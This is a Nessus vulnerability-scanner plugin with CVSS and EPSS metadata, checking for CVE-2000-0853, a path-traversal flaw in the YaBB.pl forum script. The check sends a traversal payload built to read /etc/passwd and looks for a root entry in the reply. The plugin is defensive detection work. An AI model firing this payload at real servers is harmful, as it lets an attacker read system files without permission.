CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
88.9%
The βYaBB.plβ CGI script is installed on the remote host. This script has a well-known security flaw that lets an attacker read arbitrary files with the privileges of the http daemon (usually root or nobody).
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10512);
script_version("1.35");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2000-0853");
script_bugtraq_id(1668);
script_name(english:"YaBB YaBB.pl num Parameter Traversal Arbitrary File Access");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that suffers from an
information disclosure vulnerability.");
script_set_attribute(attribute:"description", value:
"The 'YaBB.pl' CGI script is installed on the remote host. This script
has a well-known security flaw that lets an attacker read arbitrary
files with the privileges of the http daemon (usually root or nobody).");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Sep/213");
script_set_attribute(attribute:"solution", value:
"Remove 'YaBB.pl' or upgrade to the latest version.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/09/09");
script_set_attribute(attribute:"plugin_publication_date", value:"2000/09/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2000-2022 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl", "web_traversal.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80, embedded: 0);
if (get_kb_item("www/"+port+"/generic_traversal"))
exit(0, 'The web server on port '+port+' is vulnerable to web directory traversal.');
if (thorough_tests) dirs = list_uniq(make_list("/yabb", "/forum", cgi_dirs()));
else dirs = make_list(cgi_dirs());
foreach dir (cgi_dirs())
{
u = string(dir, "/YaBB.pl?board=news&action=display&num=../../../../../../etc/passwd%00");
r = http_send_recv3(method: "GET", item: u, port:port, exit_on_fail: 1);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:r[2]))
{
if (report_verbosity > 0)
{
txt = '\nThis URL returns the content of /etc/passwd :\n' +
build_url(port: port, qs: u) + '\n';
security_warning(port:port, extra: txt);
}
else
security_warning(port);
exit(0);
}
}
exit(0, 'The web server on port '+port+' is not vulnerable.');